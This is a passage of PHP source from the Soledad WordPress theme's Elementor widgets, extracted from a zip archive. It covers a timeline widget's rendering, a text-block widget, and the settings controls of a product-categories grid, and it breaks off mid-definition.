        <div <?php $this->print_render_attribute_string( 'timeline-icon' ); ?>>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <span><?php penci_fawesome_icon( 'far fa-image' ); ?></span>
			<?php elseif ( has_post_format( 'link' ) ) : ?>
                <span><?php penci_fawesome_icon( 'fas fa-link' ); ?></span>
			<?php elseif ( has_post_format( 'quote' ) ) : ?>
                <span><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></span>
			<?php elseif ( has_post_format( 'video' ) ) : ?>
                <span><?php penci_fawesome_icon( 'fas fa-play' ); ?></span>
			<?php elseif ( has_post_format( 'audio' ) ) : ?>
                <span><?php penci_fawesome_icon( 'fas fa-music' ); ?></span>
			<?php else : ?>
                <span><?php penci_fawesome_icon( 'fas fa-file' ); ?></span>
			<?php endif; ?>
        </div>
		<?php
	}

	public function render_post() {
		$settings          = $this->get_settings();
		$id                = $this->get_id();
		$align             = $settings['timeline_align'];
		$center_side       = 'center' == $align && $settings['timeline_center_side'] ? $settings['timeline_center_side'] : '';
		$center_side_class = ( 'center' == $align && $center_side ) ? 'penci-tiline-center-' . $center_side : '';

		$query_args = Query_Control::get_query_args( 'posts', $settings );

		$wp_query = new \WP_Query( $query_args );

		if ( ! $wp_query->found_posts ) {
			return;
		}

		if ( $wp_query->have_posts() ) :

			$this->add_render_attribute(
				[
					'penci-tiline' => [
						'id'    => 'penci-tiline-' . esc_attr( $id ),
						'class' => [
							'penci-tiline',
							'penci-tiline-posts',
							'penci-tiline-icon-yes',
							'penci-tiline-' . esc_attr( $align ),
							$center_side_class
						]
					]
				]
			);

			?>
            <div <?php $this->print_render_attribute_string( 'penci-tiline' ); ?>>
                <div class="penci-tiline-grid penci-tiline-align-<?php echo $align; ?>">
					<?php
					$count             = 0;
					$showcat           = $settings['show_cat'];
					$primary_cat       = $settings['show_cat_pri'];
					$excerpt           = $settings['show_excerpt'];
					$excerpt_length    = $settings['excerpt_length'];
					$thumbnail         = $settings['thumbnail_size_size'];
					$mthumb_size       = 'medium';
					$disable_lazy      = $settings['dislazyload'];
					$readmore_icon     = $settings['button_icon'];
					$readmore_icon_pos = $settings['icon_align'];
					$readmore          = $settings['show_readmore'];
					$show_meta         = $settings['show_meta'];
					$show_title        = $settings['show_title'];
					$show_image        = $settings['show_image'];

					while ( $wp_query->have_posts() ) :
						$wp_query->the_post();

						$count ++;
						$post_format = get_post_format() ?: 'standard';
						$item_part   = ( $count % 2 === 0 ) ? 'right' : 'left';

						if ( $align == 'center' && $center_side ) {
							$item_part = $center_side;
						}


						if ( ( $count % 2 === 0 && 'center' == $align && ! $center_side ) || 'right' == $center_side ) : ?>
							<?php $this->render_date( 'right', '' ); ?>
						<?php endif; ?>

                        <div class="penci-tiline-item <?php echo esc_attr( $item_part ) . '-part'; ?> main-alt-part">

                            <div class="penci-tiline-item-main-wrapper">
                                <div class="penci-tiline-line">
                                    <span></span>
                                </div>
                                <div class="penci-tiline-item-main-container">

									<?php $this->render_post_format(); ?>

                                    <div class="penci-tiline-item-main">
                                        <span class="penci-tiline-arrow"></span>
										<?php
										include dirname( __FILE__ ) . "/post.php";
										?>
                                    </div>

                                </div>
                            </div>
                        </div>

						<?php if ( ( $count % 2 === 1 && ( 'center' == $align ) && ! $center_side ) || 'left' == $center_side ) : ?>
						<?php $this->render_date( '' ); ?>
					<?php endif; ?>

					<?php endwhile;
					wp_reset_postdata(); ?>
                </div>
            </div>

		<?php endif;
	}

	public function render_custom() {
		$id             = $this->get_id();
		$settings       = $this->get_settings_for_display();
		$timeline_items = $settings['timeline_items'];

		$align             = $settings['timeline_align'];
		$center_side       = 'center' == $align && $settings['timeline_center_side'] ? $settings['timeline_center_side'] : '';
		$center_side_class = ( 'center' == $align && $center_side ) ? 'penci-tiline-center-' . $center_side : '';

		$this->add_render_attribute( 'penci-tiline-custom', 'id', 'penci-tiline-' . esc_attr( $id ) );
		$this->add_render_attribute( 'penci-tiline-custom', 'class', 'penci-tiline' );
		$this->add_render_attribute( 'penci-tiline-custom', 'class', 'penci-tiline-' . esc_attr( $align ) );
		$this->add_render_attribute( 'penci-tiline-custom', 'class', $center_side_class );

		?>
        <div <?php $this->print_render_attribute_string( 'penci-tiline-custom' ); ?>>
            <div class="penci-tiline-grid penci-tiline-align-<?php echo $align; ?>">
				<?php
				$count = 0;
				foreach ( $timeline_items as $item ) :
					$count ++;

					if ( ! isset( $item['timeline_icon'] ) && ! Icons_Manager::is_migration_allowed() ) {
						// add old default
						$item['timeline_icon'] = 'fas fa-file-alt';
					}

					$migrated = isset( $item['__fa4_migrated']['timeline_select_icon'] );
					$is_new   = empty( $item['timeline_icon'] ) && Icons_Manager::is_migration_allowed();


					$item_part = ( $count % 2 === 0 ) ? 'right' : 'left';

					if ( $align == 'center' && $center_side ) {
						$item_part = $center_side;
					}

					if ( ( $count % 2 === 0 && 'center' == $align && ! $center_side ) || 'right' == $center_side ) : ?>
						<?php $this->render_date( 'right', $item ); ?>
					<?php endif; ?>


                    <div
                            class="penci-tiline-item <?php echo esc_attr( $item_part ) . '-part'; ?>">

                        <div class="penci-tiline-item-main-wrapper">
                            <div class="penci-tiline-line">
                                <span></span>
                            </div>
                            <div class="penci-tiline-item-main-container">


                                <div class="penci-tiline-icon">

									<span>

									<?php if ( $is_new || $migrated ) :
										Icons_Manager::render_icon( $item['timeline_select_icon'], [ 'aria-hidden' => 'true' ] );
									else : ?>
                                        <i class="<?php echo esc_attr( $item['timeline_icon'] ); ?>"
                                           aria-hidden="true"></i>
									<?php endif; ?>

									</span>

                                </div>
								<?php $this->render_item( $align, $item ); ?>
                            </div>
                        </div>
                    </div>

					<?php if ( ( $count % 2 === 1 && ( 'center' == $align ) && ! $center_side ) || 'left' == $center_side ) : ?>
					<?php $this->render_date( '', $item ); ?>
				<?php endif; ?>

				<?php endforeach; ?>

				<?php wp_reset_postdata(); ?>

            </div>
        </div>
		<?php
	}

	public function render() {

		$settings = $this->get_settings_for_display();

		if ( 'post' === $settings['timeline_source'] ) {
			$this->render_post();
		} else if ( 'custom' === $settings['timeline_source'] ) {
			$this->render_custom();
		} else {
			return;
		}
	}
}
PK     1w\uA    -  elementor/modules/penci-text-block/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTextBlock;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-text-block';
	}

	public function get_widgets() {
		return array( 'PenciTextBlock' );
	}
}
PK     1w\e6    ?  elementor/modules/penci-text-block/widgets/penci-text-block.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTextBlock\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciTextBlock extends Base_Widget {

	public function get_name() {
		return 'penci-text-block';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Text Block', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-t-letter';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_editor',
			array(
				'label' => __( 'Text Editor', 'elementor' ),
			)
		);

		$this->add_control(
			'editor',
			array(
				'label'   => '',
				'type'    => Controls_Manager::WYSIWYG,
				'dynamic' => array( 'active' => true ),
				'default' => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'elementor' ),

			)
		);

		$this->add_control(
			'entry_format',
			[
				'label'     => esc_html__( 'Enable Entry Format', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
			]
		);

		$this->end_controls_section();
		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style',
			array(
				'label' => __( 'Text Editor', 'elementor' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'align',
			array(
				'label'     => __( 'Alignment', 'elementor' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => array(
					'left'    => array(
						'title' => __( 'Left', 'elementor' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center'  => array(
						'title' => __( 'Center', 'elementor' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'   => array(
						'title' => __( 'Right', 'elementor' ),
						'icon'  => 'eicon-text-align-right',
					),
					'justify' => array(
						'title' => __( 'Justified', 'elementor' ),
						'icon'  => 'eicon-text-align-justify',
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .elementor-text-editor' => 'text-align: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}}' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'typography',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-block_content .elementor-text-editor, {{WRAPPER}} .penci-block_content .elementor-text-editor p, {{WRAPPER}} .penci-block_content .elementor-text-editor a',
			)
		);

		$text_columns     = range( 1, 10 );
		$text_columns     = array_combine( $text_columns, $text_columns );
		$text_columns[''] = __( 'Default', 'elementor' );

		$this->add_responsive_control(
			'text_columns',
			array(
				'label'     => __( 'Columns', 'elementor' ),
				'type'      => Controls_Manager::SELECT,
				'separator' => 'before',
				'options'   => $text_columns,
				'selectors' => array(
					'{{WRAPPER}} .elementor-text-editor' => 'columns: {{VALUE}};',
				),
			)
		);

		$this->add_responsive_control(
			'column_gap',
			array(
				'label'      => __( 'Columns Gap', 'elementor' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => array( 'px', '%', 'em', 'vw' ),
				'range'      => array(
					'px' => array( 'max' => 100 ),
					'%'  => array(
						'max'  => 10,
						'step' => 0.1,
					),
					'vw' => array(
						'max'  => 10,
						'step' => 0.1,
					),
					'em' => array(
						'max'  => 10,
						'step' => 0.1,
					),
				),
				'selectors'  => array( '{{WRAPPER}} .elementor-text-editor' => 'column-gap: {{SIZE}}{{UNIT}};' ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class      = 'penci-block-vc penci-text-editor';
		$editor_content = $this->get_settings_for_display( 'editor' );

		$editor_content = $this->parse_text_editor( $editor_content );

		$this->add_render_attribute( 'editor', 'class', array( 'elementor-text-editor', 'elementor-clearfix' ) );
		
		if ( $settings['entry_format'] ) {
			$this->add_render_attribute( 'editor', 'class', 'post-entry entry-content' );
		}

		$this->add_inline_editing_attributes( 'editor', 'advanced' );
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div <?php echo $this->get_render_attribute_string( 'editor' ); ?>><?php echo $editor_content; ?></div>
			</div>
		</div>
		<?php
	}
}
PK     1w\!?  ?  :  elementor/modules/penci-product-categories-grid/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductCategoriesGrid;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_categories_grid';
	}

	public function get_widgets() {
		return array( 'PenciProductCategoriesGrid' );
	}
}
PK     1w\j  j  Y  elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductCategoriesGrid\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductCategoriesGrid extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_product_categories_grid';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Categories Grid', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *Hide Category Count on Mobile
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'Categories Query', 'soledad' ),
			]
		);

		$this->add_control(
			'taxonomy',
			[
				'label'   => esc_html__( 'Taxonomy', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'category',
				'options' => penci_get_all_taxonomies(),
			]
		);

		$this->add_control(
			'product_cat_number',
			[
				'label'       => esc_html__( 'Number', 'soledad' ),
				'description' => esc_html__( 'Enter the number of categories to display for this element.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'taxonomy_image',
			[
				'label'   => esc_html__( 'Get image of taxonomy from', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					'latest' => esc_html__( 'Latest Post', 'soledad' ),
					'random' => esc_html__( 'Random Post', 'soledad' ),
					'view'   => esc_html__( 'Most View Post', 'soledad' ),
					'field'  => esc_html__( 'Custom Term Field', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'taxonomy_image_view_key',
			[
				'label'     => esc_html__( 'Taxonomy view meta key', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => '',
				'condition' => array( 'taxonomy_image' => array( 'view' ) ),
			]
		);

		$this->add_control(
			'taxonomy_image_field',
			[
				'label'     => esc_html__( 'Taxonomy image field name', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => '',
				'condition' => array( 'taxonomy_image' => array( 'field' ) ),
			]
		);

		$this->add_control(
			'product_cat_orderby',
			[
				'label'   => esc_html__( 'Order by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''           => '',
					'id'         => esc_html__( 'ID', 'soledad' ),
					'date'       => esc_html__( 'Date', 'soledad' ),
					'title'      => esc_html__( 'Title', 'soledad' ),
					'menu_order' => esc_html__( 'Menu order', 'soledad' ),
					'modified'   => esc_html__( 'Last modified date', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'product_cat_order',
			[
				'label'   => esc_html__( 'Sort order', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''     => esc_html__( 'Inherit', 'soledad' ),
					'DESC' => esc_html__( 'Descending', 'soledad' ),
					'ASC'  => esc_html__( 'Ascending', 'soledad' ),
				),
			]
		);

		// Taxonomy Include

		$this->add_control(
			'product_cat_ids',
			[
				'label'       => esc_html__( 'Categories', 'soledad' ),
				'description' => esc_html__( 'List of product categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_cat',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'product_cat' ) ),
			]
		);

		$this->add_control(
			'category_ids',
			[
				'label'       => esc_html__( 'Categories', 'soledad' ),
				'description' => esc_html__( 'List of post categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'category',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'category' ) ),
			]
		);

		$this->add_control(
			'post_tag_ids',
			[
				'label'       => esc_html__( 'Post Tags', 'soledad' ),
				'description' => esc_html__( 'List of post tags.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'post_tag',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'post_tag' ) ),
			]
		);

		$this->add_control(
			'product_tag_ids',
			[
				'label'       => esc_html__( 'Product Tags', 'soledad' ),
				'description' => esc_html__( 'List of product tags.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_tag',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'product_tag' ) ),
			]
		);

		$this->add_control(
			'portfolio-category_ids',
			[
				'label'       => esc_html__( 'Portfolio Categories', 'soledad' ),
				'description' => esc_html__( 'List of porfolio categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'portfolio-category',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'portfolio-category' ) ),
			]
		);

		// Taxonomy Exclude

		$this->add_control(
			'product_cat_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Product Categories', 'soledad' ),
				'description' => esc_html__( 'List of product categories you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_cat',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'product_cat' ) ),
			]
		);

		$this->add_control(
			'category_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Categories', 'soledad' ),
				'description' => esc_html__( 'List of post categories you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'category',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'category' ) ),
			]
		);

		$this->add_control(
			'post_tag_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Post Tags', 'soledad' ),
				'description' => esc_html__( 'List of post tags you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'post_tag',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'post_tag' ) ),
			]
		);

		$this->add_control(
			'product_tag_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Product Tags', 'soledad' ),
				'description' => esc_html__( 'List of product tags you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_tag',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'product_tag' ) ),
			]
		);

		$this->add_control(
			'portfolio-category_ids_ex',
			[
				'label'       => esc_html__( 'Exclude Portfolio Categories', 'soledad' ),
				'description' => esc_html__( 'List of porfolio categories you want to exclude.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'portfolio-category',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array( 'taxonomy' => array( 'portfolio-category' ) ),
			]
		);

		// End Taxonomy Settings

		$this->add_control(
			'product_cat_hide_empty',
			[
				'label'        => esc_html__( 'Hide empty', 'soledad' ),
				'description'  => esc_html__( 'Don’t display categories that don’t have any products assigned.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'yes',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->end_controls_section();

		/**
		 * Title settings.
		 */


		// Section layout
		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'style', array(
				'label'   => __( 'Categories Grid Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'style-1',
				'options' => array(
					'style-1'  => esc_html__( 'Grid ( Default )', 'soledad' ),
					'style-2'  => esc_html__( 'Masonry', 'soledad' ),
					'style-3'  => esc_html__( 'Style 3', 'soledad' ),
					'style-4'  => esc_html__( 'Style 4', 'soledad' ),
					'style-5'  => esc_html__( 'Style 5', 'soledad' ),
					'style-6'  => esc_html__( 'Style 6', 'soledad' ),
					'style-7'  => esc_html__( 'Style 7', 'soledad' ),
					'style-8'  => esc_html__( 'Style 8', 'soledad' ),
					'style-9'  => esc_html__( 'Style 9', 'soledad' ),
					'style-10' => esc_html__( 'Style 10', 'soledad' ),
					'style-11' => esc_html__( 'Style 11', 'soledad' ),
					'style-12' => esc_html__( 'Style 12', 'soledad' ),
					'style-13' => esc_html__( 'Style 13', 'soledad' ),
					'style-14' => esc_html__( 'Style 14', 'soledad' ),
					'style-15' => esc_html__( 'Style 15', 'soledad' ),
					'style-16' => esc_html__( 'Style 16', 'soledad' ),
					'style-17' => esc_html__( 'Style 17', 'soledad' ),
					'style-18' => esc_html__( 'Style 18', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'bg_columns', array(
				'label'     => __( 'Grid/Masonry Style Columns', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '3',
				'options'   => array(
					'1' => esc_html__( '1 Column', 'soledad' ),
					'2' => esc_html__( '2 Columns', 'soledad' ),
					'3' => esc_html__( '3 Columns', 'soledad' ),
					'4' => esc_html__( '4 Columns', 'soledad' ),
					'5' => esc_html__( '5 Columns', 'soledad' ),
					'6' => esc_html__( '6 Columns', 'soledad' )
				),
				'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_control(
			'bg_columns_mobile', array(
				'label'     => __( 'Grid/Masonry Style Columns on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '1',
				'options'   => array(
					'1' => esc_html__( '1 Column', 'soledad' ),
					'2' => esc_html__( '2 Columns', 'soledad' ),
				),
				'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_control(
			'hide_subtitle', array(
				'label'        => __( 'Hide Category Count', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'hide_subtitle_mobile', array(
				'label'        => __( 'Hide Category Count on Mobile', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'condition'    => array( 'hide_subtitle!' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'onecol_mobile', array(
				'label'        => __( 'Display One Column on Mobile?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'condition'    => array(
					'style!' => array( 'style-1', 'style-2' ),
				),
			)
		);

		$this->add_control(
			'sameh_mobile', array(
				'label'        => __( 'Display Grid Items Same Height on Mobile?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
				'condition'    => array(
					'onecol_mobile' => 'yes',
					'style!'        => array( 'style-1', 'style-2' ),
				),
			)
		);

		$this->add_control(
			'bgcontent_pos', array(
				'label'     => __( 'Categories Grid Content Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'on',
				'options'   => array(
					'on'    => esc_html__( 'On Image', 'soledad' ),
					'below' => esc_html__( 'Below Image', 'soledad' ),
					'above' => esc_html__( 'Above Image', 'soledad' ),
				),
				'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_responsive_control(
			'bg_gap', array(
				'label'     => __( 'Gap Between Items', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-bgstyle-1 .penci-dflex'                                              => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2); width: calc(100% + {{SIZE}}px);',
					'{{WRAPPER}} .penci-bgstyle-2 .item-masonry, {{WRAPPER}} .penci-bgstyle-1 .penci-bgitem' => 'padding-left: calc({{SIZE}}px/2); padding-right: calc({{SIZE}}px/2); margin-bottom: {{SIZE}}px',
					'{{WRAPPER}} .penci-bgstyle-2 .penci-biggrid-data'                                       => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2);',
				),
				'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_responsive_control(
			'penci_img_ratio', array(
				'label'     => __( 'Adjust Ratio of Images( Unit % )', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => 66 ),
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-bgitem .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
				),
				'condition' => array( 'style' => array( 'style-1' ) ),
			)
		);

		$this->add_responsive_control(
			'bg_height', array(
				'label'     => __( 'Custom Categories Grid Height (Unit is px)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-biggrid .penci-fixh' => '--bgh: {{SIZE}}px;',
				),
			)
		);

		$this->add_control(
			'disable_lazy', array(
				'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'biggrid_section_imgsize', array(
				'label' => __( 'Custom Image Sizes', 'soledad' ),
			)
		);

		$this->add_control(
			'thumb_size', array(
				'label'   => __( 'Custom Image Size', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'bthumb_size', array(
				'label'     => __( 'Image Size for Big Items', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_control(
			'mthumb_size', array(
				'label'   => __( 'Custom Image Size for Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		/**
		 * Translate settings.
		 */

		$this->start_controls_section(
			'section_biggrid_translate',
			array(
				'label' => __( 'Quick Text Translate', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'text_item',
			array(
				'label'   => esc_html__( 'Text: % Item', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '% item',
			)
		);

		$this->add_control(
			'text_items',
			array(
				'label'   => esc_html__( 'Text: % Items', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '% items',
			)
		);

		$this->end_controls_section();

		/**
		 * Design settings.
		 */

		$this->start_controls_section(
			'section_biggrid_design',
			array(
				'label' => __( 'Categories Grid Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'bg_pos_display',
			array(
				'label'     => esc_html__( 'Content Text Position and Display', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'content_horizontal_position', array(
				'label'                => __( 'Content Text Horizontal Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pcbg-content-inner' => '{{VALUE}}',
				),
				'selectors_dictionary' => array(
					'left'   => 'margin-right: auto',
					'center' => 'margin-left: auto; margin-right: auto;',
					'right'  => 'margin-left: auto',
				),
			)
		);

		$this->add_control(
			'content_vertical_position',
			array(
				'label'                => __( 'Content Text Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
